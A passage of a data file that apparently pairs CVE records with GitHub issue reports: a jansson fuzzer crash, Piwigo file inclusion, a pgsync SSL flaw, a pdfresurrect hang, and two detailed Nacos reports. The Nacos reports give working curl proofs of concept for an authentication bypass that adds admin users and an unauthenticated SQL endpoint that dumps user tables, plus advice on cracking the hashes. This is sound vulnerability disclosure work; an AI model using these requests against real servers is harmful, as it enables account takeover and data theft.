7,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x
67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0
x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,0x67,
[]gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
artifact_prefix='./'; Test unit written to ./crash-76b9ab07b593b8511d24aea00b925d60735e9d6c
Base64: W11nZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn
Z2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn
```
The fuzzer I used was:
```
#include <jansson.h>
#include <stdio.h>
int LLVMFuzzerTestOneInput(const char *Data, size_t Size) {
FILE *devNull;
devNull = fopen("/dev/null", "w");
json_t *root;
json_error_t error;
root = json_loads(Data, 0, &error);
json_dumpf(root, devNull, 0);
json_decref(root);
fclose(devNull);
return 0;
}
```
Kind Regards,
Jordy Zomer
| OOB Read memory corruption bug | https://api.github.com/repos/akheron/jansson/issues/548/comments | 9 | 2020-09-01T16:46:51Z | 2022-08-01T11:27:50Z | https://github.com/akheron/jansson/issues/548 | 690,295,270 | 548 | 1,888 |
CVE-2021-31783 | 2021-04-26T19:15:08.583 | show_default.php in the LocalFilesEditor extension before 11.4.0.1 for Piwigo allows Local File Inclusion because the file parameter is not validated with a proper regular-expression check. | {
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The `show_default.php` can be used to display unexpected file on the hosting server. We need to make serious checks before any other action. | template files display may be used to display external files | https://api.github.com/repos/Piwigo/LocalFilesEditor/issues/2/comments | 0 | 2021-04-23T13:18:54Z | 2021-04-23T13:20:09Z | https://github.com/Piwigo/LocalFilesEditor/issues/2 | 866,104,892 | 2 | 1,889 |
CVE-2021-31671 | 2021-04-27T03:15:07.647 | pgsync before 0.6.7 is affected by Information Disclosure of sensitive information. Syncing the schema with the --schema-first and --schema-only options is mishandled. For example, the sslmode connection parameter may be lost, which means that SSL would not be used. | {
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"ankane",
"pgsync"
] | CVE Identifier: CVE-2021-31671
Versions Affected: 0.6.6 and below
Fixed Versions: 0.6.7
## Impact
pgsync drops connection parameters when syncing the schema with the `--schema-first` and `--schema-only` options. Some of these parameters may affect security. For instance, if `sslmode` is dropped, the connection may not use SSL. The first connection parameter is not affected.
Here's an example where `sslmode` is dropped (`connect_timeout` is not affected):
```yml
from: postgres://user:pass@host/dbname?connect_timeout=10&sslmode=require
```
This applies to both the `to` and `from` connections.
All users running an affected release should upgrade immediately.
## Credits
Thanks to Dmitriy Gunchenko for reporting this. | Connection security vulnerability with schema sync | https://api.github.com/repos/ankane/pgsync/issues/121/comments | 0 | 2021-04-26T22:09:39Z | 2021-04-26T22:14:32Z | https://github.com/ankane/pgsync/issues/121 | 868,241,028 | 121 | 1,890 |
CVE-2021-29441 | 2021-04-27T21:15:07.993 | Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server. | {
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---------------------------------------------------------------------------- english
Hello, I’m threedr3am. I found that the latest version 1.4.1 of nacos still has a bypass problem for the serverIdentity key-value repair mechanism that bypasses security vulnerabilities in User-Agent. The custom key-value authentication of serverIdentity is enabled in nacos. Later, through the special url structure, it is still possible to bypass the restriction to access any http interface.
By viewing this function, you need to add the configuration ```nacos.core.auth.enable.userAgentAuthWhite:false``` in application.properties to avoid the ```User-Agent: Nacos-Server`'' bypassing authentication safe question.
But after turning on the mechanism, I found from the code that I can still bypass it under certain circumstances, make it invalid, and call any interface. Through this vulnerability, I can bypass the authentication and do:
Call the add user interface, add a new user (```POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test```), and then use the newly added user to log in to the console, Access, modify, and add data.
### 1. Vulnerability details
The problem mainly occurs in ```com.alibaba.nacos.core.auth.AuthFilter#doFilter```:
```
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
```
As you can see, the above three if else branches:
- The first one is ```authConfigs.isEnableUserAgentAuthWhite()```, its default value is true, when the value is true, it will judge whether the request header User-Agent matches ```User-Agent: Nacos-Server`` `, if it matches, skip all subsequent logic and execute ```chain.doFilter(request, response);```
- The second one is ```StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())`, which is nacos 1.4.1 version for ```User-Agent: Nacos- Server``` Simple fix for security issues
- The third one is to respond directly to the request to deny access when the previous two conditions are not met
The problem appears in the second branch. You can see that when the developer of nacos adds the configuration ```nacos.core.auth.enable.userAgentAuthWhite:false`'' in application.properties, the simple key-value authentication mechanism is turned on Then, it will get a value from the http header according to the ```nacos.core.auth.server.identity.key``` configured by the developer, and then go to the ```nacos.core.auth.server. identity.value``` is matched, if it does not match, it will not enter the branch execution:
```
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
```
But the problem is precisely here. The logic here should be to directly return denied access when there is a mismatch, but in fact we did not do this, which allows us to bypass the provision of conditions later.
Looking further down, the code comes to:
```
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
```
As you can see, there is a judgment ```method == null```, as long as this condition is met, the subsequent authentication code will not go to.
By looking at the ```methodsCache.getMethod(req)``` code implementation, I found a method that can make the returned method null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
```
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
```
```
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
```
In this code, you can clearly see that the return of the method value depends on
```
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
```
The key of urlKey, whether the mapping value can be obtained from ConcurrentHashMap of urlLookup
In the composition of urlKey, there is a part of path, and there is a problem with the generation of this part. It is obtained in the following way:
```
new URI(request.getRequestURI()).getPath()
```
A normal visit, such as ```curl -XPOST'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'```, the path obtained will be ``` /nacos/v1/auth/users```, and through a specially constructed URL, such as ```curl -XPOST'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password= test' --path-as-is```, the path will be ```/nacos/v1/auth/users/```
In this way, the path will be able to control the trailing slash'/', resulting in the method cannot be obtained from the ConcurrentHashMap urlLookup, why? Because basically all RequestMappings in nacos do not end with a slash'/', only The RequestMapping at the end of the non-slanted bar'/' exists and is stored in the ConcurrentHashMap of urlLookup, then the outermost ```method == null``` condition will be satisfied, thus bypassing the authentication mechanism.
### 2. The scope of the vulnerability
Sphere of influence: 1.4.1
### 3. loopholes reproduce
1. Access user list interface
```
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'
```
As you can see, the authentication is bypassed and the user list data is returned
```
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
```
2. Add new user
```
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test --path-as-is'
```
As you can see, authentication has been bypassed and new users have been added
```
{
"code":200,
"message":"create user ok!",
"data":null
}
```
3. View user list again
```
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'
```
As you can see, in the returned user list data, there is one more user we created by bypassing authentication.
```
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
```
4. Visit the homepage ```http://127.0.0.1:8848/nacos/```, log in to the new account, and you can do anything
---------------------------------------------------------------------------- 中文
你好，我是threedr3am，我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制，依然存在绕过问题，在nacos开启了serverIdentity的自定义key-value鉴权后，通过特殊的url构造，依然能绕过限制访问任何http接口。
通过查看该功能，需要在application.properties添加配置```nacos.core.auth.enable.userAgentAuthWhite:false```，才能避免```User-Agent: Nacos-Server```绕过鉴权的安全问题。
但在开启该机制后，我从代码中发现，任然可以在某种情况下绕过，使之失效，调用任何接口，通过该漏洞，我可以绕过鉴权，做到：
调用添加用户接口，添加新用户（```POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test```）,然后使用新添加的用户登录console，访问、修改、添加数据。
### 一、漏洞详情
问题主要出现在```com.alibaba.nacos.core.auth.AuthFilter#doFilter```:
```
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
```
可以看到，上面三个if else分支：
- 第一个是```authConfigs.isEnableUserAgentAuthWhite()```，它默认值为true，当值为true时，会判断请求头User-Agent是否匹配```User-Agent: Nacos-Server```，若匹配，则跳过后续所有逻辑，执行```chain.doFilter(request, response);```
- 第二个是```StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())```，也就是nacos 1.4.1版本对于```User-Agent: Nacos-Server```安全问题的简单修复
- 第三个是，当前面两个条件都不符合时，对请求直接作出拒绝访问的响应
问题出现在第二个分支，可以看到，当nacos的开发者在application.properties添加配置```nacos.core.auth.enable.userAgentAuthWhite:false```，开启该key-value简单鉴权机制后，会根据开发者配置的```nacos.core.auth.server.identity.key```去http header中获取一个value，去跟开发者配置的```nacos.core.auth.server.identity.value```进行匹配，若不匹配，则不进入分支执行：
```
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
```
但问题恰恰就出在这里，这里的逻辑理应是在不匹配时，直接返回拒绝访问，而实际上并没有这样做，这就让我们后续去绕过提供了条件。
再往下看，代码来到：
```
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
```
可以看到，这里有一个判断```method == null```，只要满足这个条件，就不会走到后续的鉴权代码。
通过查看```methodsCache.getMethod(req)```代码实现，我发现了一个方法，可以使之返回的method为null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
```
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
```
```
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
```
这个代码里面，可以很明确的看到，method值的返回，取决于
```
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
```
urlKey这个key，是否能从urlLookup这个ConcurrentHashMap中获取到映射值
而urlKey的组成中，存在着path这一部分，而这一部分的生成，恰恰存在着问题，它是通过如下方式获得的：
```
new URI(request.getRequestURI()).getPath()
```
一个正常的访问，比如```curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'```，得到的path将会是```/nacos/v1/auth/users```，而通过特殊构造的url，比如```curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is```，得到的path将会是```/nacos/v1/auth/users/```
通过该方式，将能控制该path多一个末尾的斜杆'/'，导致从urlLookup这个ConcurrentHashMap中获取不到method，为什么呢，因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾，只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap，那么，最外层的```method == null```条件将能满足，从而，绕过该鉴权机制。
### 二、漏洞影响范围
影响范围：
1.4.1
### 三、漏洞复现
1. 访问用户列表接口
```
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
```
可以看到，绕过了鉴权，返回了用户列表数据
```
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
```
2. 添加新用户
```
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
```
可以看到，绕过了鉴权，添加了新用户
```
{
"code":200,
"message":"create user ok!",
"data":null
}
```
3. 再次查看用户列表
```
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
```
可以看到，返回的用户列表数据中，多了一个我们通过绕过鉴权创建的新用户
```
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
```
4. 访问首页```http://127.0.0.1:8848/nacos/```，登录新账号，可以做任何事情
regards,
threedr3am | Report a security vulnerability in nacos to bypass authentication(identity) again | https://api.github.com/repos/alibaba/nacos/issues/4701/comments | 7 | 2021-01-14T09:52:31Z | 2021-05-11T00:50:37Z | https://github.com/alibaba/nacos/issues/4701 | 785,845,058 | 4,701 | 1,891 |
CVE-2021-29442 | 2021-04-27T21:15:08.030 | Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql) | {
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"alibaba",
"nacos"
] | ------------------------------------------------------------------------（english）
Hello, I am threedr3am. I found a nacos interface. When nacos is deployed in the default configuration, it can be accessed without authentication and execute arbitrary SQL queries, which leads to the disclosure of sensitive information.
1. Vulnerability details
Source address: https://github.com/alibaba/nacos
The audit code can find that there is an interface in the config server, and the SQL statement can be executed without any authentication, and all data can be leaked
The vulnerability lies in the module: com.alibaba.nacos.config.server.controller.ConfigOpsController in nacos-config
```
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "select";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (PropertyUtil.isEmbeddedStorage()) {
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
}
return RestResultUtils.failed("The current storage mode is not Derby");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
```
As you can see, the code only limits the need to include select, so any select query statement can be executed
Through the test, you can use the following statement to query all database information
```
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
```
The most important thing is that the interface does not require any authentication and can be accessed directly
After reading the account number and the password after the hash, we can analyze it through the open source program source code because of the salt generation algorithm used when nacos creates the account.
Look at the source code com.alibaba.nacos.console.security.nacos.NacosAuthConfig
```
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
}
@Override
protected void configure(HttpSecurity http) throws Exception {
if (StringUtils.isBlank(authConfigs.getNacosAuthSystemType())) {
http
.csrf().disable().cors() // We don't need CSRF for JWT based authentication
.and().sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
.and().authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll()
.antMatchers(LOGIN_ENTRY_POINT).permitAll()
.and().authorizeRequests().antMatchers(TOKEN_BASED_AUTH_ENTRY_POINT).authenticated()
.and().exceptionHandling().authenticationEntryPoint(new JwtAuthenticationEntryPoint());
// disable cache
http.headers().cacheControl();
http.addFilterBefore(new JwtAuthenticationTokenFilter(tokenProvider),
UsernamePasswordAuthenticationFilter.class);
}
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
```
As you can see, they are all default and users cannot modify them
Therefore, refer to the tool class com.alibaba.nacos.console.utils.PasswordEncoderUtil
In this way, the password represented by the hash value can be quickly blasted locally
```
package com.alibaba.nacos.console.utils;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
/**
* Password encoder tool.
*
* @author nacos
*/
public class PasswordEncoderUtil {
public static void main(String[] args) {
System.out.println(new BCryptPasswordEncoder().encode("nacos"));
}
public static Boolean matches(String raw, String encoded) {
return new BCryptPasswordEncoder().matches(raw, encoded);
}
public static String encode(String raw) {
return new BCryptPasswordEncoder().encode(raw);
}
}
```
2. the loopholes reproduce
Deployment process:
1. Go to github to download the latest release: https://github.com/alibaba/nacos/releases
2. Execute ./bin/startup.sh -m standalone to run locally
poc：
```
curl -XGET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20'
```
3. Scope of influence
All versions
------------------------------------------------------------------------（中文）
你好，我是threedr3am，我发现了一个nacos的接口，在默认配置部署nacos的情况下，它无需认证即可被访问，并执行任意sql查询，导致敏感信息泄露。
一、漏洞详情
源码地址：https://github.com/alibaba/nacos
审计代码可以发现，config server中有个接口，没有做任何的鉴权，即可执行sql语句，可以泄漏全部数据
漏洞点在于module：nacos-config的com.alibaba.nacos.config.server.controller.ConfigOpsController中
```
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "select";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (PropertyUtil.isEmbeddedStorage()) {
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
}
return RestResultUtils.failed("The current storage mode is not Derby");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
```
可以看到，代码只限制了需要包含select，因此，导致可以执行任意的select查询语句
通过测试，可以用以下的语句查询到所有数据库信息
```
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
```
最重要的是，该接口不需要任何认证，直接就可以访问
通过读取到账号以及hash之后的密码后，因为nacos创建账号时使用的salt生成算法我们通过开源的程序源码已经能分析出来
看源码com.alibaba.nacos.console.security.nacos.NacosAuthConfig
```
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
}
@Override
protected void configure(HttpSecurity http) throws Exception {
if (StringUtils.isBlank(authConfigs.getNacosAuthSystemType())) {
http
.csrf().disable().cors() // We don't need CSRF for JWT based authentication
.and().sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
.and().authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll()
.antMatchers(LOGIN_ENTRY_POINT).permitAll()
.and().authorizeRequests().antMatchers(TOKEN_BASED_AUTH_ENTRY_POINT).authenticated()
.and().exceptionHandling().authenticationEntryPoint(new JwtAuthenticationEntryPoint());
// disable cache
http.headers().cacheControl();
http.addFilterBefore(new JwtAuthenticationTokenFilter(tokenProvider),
UsernamePasswordAuthenticationFilter.class);
}
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
```
可以看到，都是默认的，使用者没法做修改
因此，参考工具类com.alibaba.nacos.console.utils.PasswordEncoderUtil
通过这样的方式，可以在本地快速的爆破出hash值表示的密码
```
package com.alibaba.nacos.console.utils;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
/**
* Password encoder tool.
*
* @author nacos
*/
public class PasswordEncoderUtil {
public static void main(String[] args) {
System.out.println(new BCryptPasswordEncoder().encode("nacos"));
}
public static Boolean matches(String raw, String encoded) {
return new BCryptPasswordEncoder().matches(raw, encoded);
}
public static String encode(String raw) {
return new BCryptPasswordEncoder().encode(raw);
}
}
```
二、漏洞复现
部署流程：
1. 到github下载最新版release：https://github.com/alibaba/nacos/releases
2. 执行./bin/startup.sh -m standalone本地运行
poc：
```
curl -XGET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20'
```
三、影响范围
所有版本
| Report a security vulnerability in nacos to execute arbitrary SQL without authentication | https://api.github.com/repos/alibaba/nacos/issues/4463/comments | 4 | 2020-12-12T06:55:26Z | 2020-12-27T13:36:52Z | https://github.com/alibaba/nacos/issues/4463 | 763,383,661 | 4,463 | 1,892 |
CVE-2021-3508 | 2021-04-28T14:15:07.737 | A flaw was found in PDFResurrect in version 0.22b. There is an infinite loop in get_xref_linear_skipped() in pdf.c via a crafted PDF file. | {
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"835"
] | 835 | https://github.com/enferex/pdfresurrect/issues/17 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"enferex",
"pdfresurrect"
] | Hi,
I found an infinite loop in function `get_xref_linear_skipped` in pdf.c
env:
version: v0.22b commit af10865
OS: ubuntu 20.04
If found 'trailer' ,then look backwards for 'xref'. But if there isn't character 'x' backward, the function `get_xref_linear_skipped` will go into an infinite loop.
```
─── source:pdf.c+729 ────
724 return;
725
726 /* If we found 'trailer' look backwards for 'xref' */
727 ch = 0;
728 while (SAFE_F(fp, ((ch = fgetc(fp)) != 'x')))
// fp=0x0000ffffffffeea8 → [...] → 0x00000000fbad2488
→ 729 fseek(fp, -2, SEEK_CUR);
730
731 if (ch == 'x')
732 {
733 xref->start = ftell(fp) - 1;
734 fseek(fp, -1, SEEK_CUR);
─────────────────────────────────────────────
```
poc(zipped ):
[pdfresurrect_hang_1.zip](https://github.com/enferex/pdfresurrect/files/6323748/pdfresurrect_hang_1.zip)
To reproduct:
./pdfresurrect [poc]
reporter: chiba of Topsec alphaLab | Infinite loop in function get_xref_linear_skipped in pdf.c | https://api.github.com/repos/enferex/pdfresurrect/issues/17/comments | 2 | 2021-04-16T08:58:58Z | 2021-04-22T08:41:21Z | https://github.com/enferex/pdfresurrect/issues/17 | 859,617,731 | 17 | 1,893 |
CVE-2020-17999 | 2021-04-28T16:15:08.060 | Cross Site Scripting (XSS) in MiniCMS v1.10 allows remote attackers to execute arbitrary code by injecting commands via a crafted HTTP request to the component "/mc-admin/post-edit.php". | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"bg5sbk",
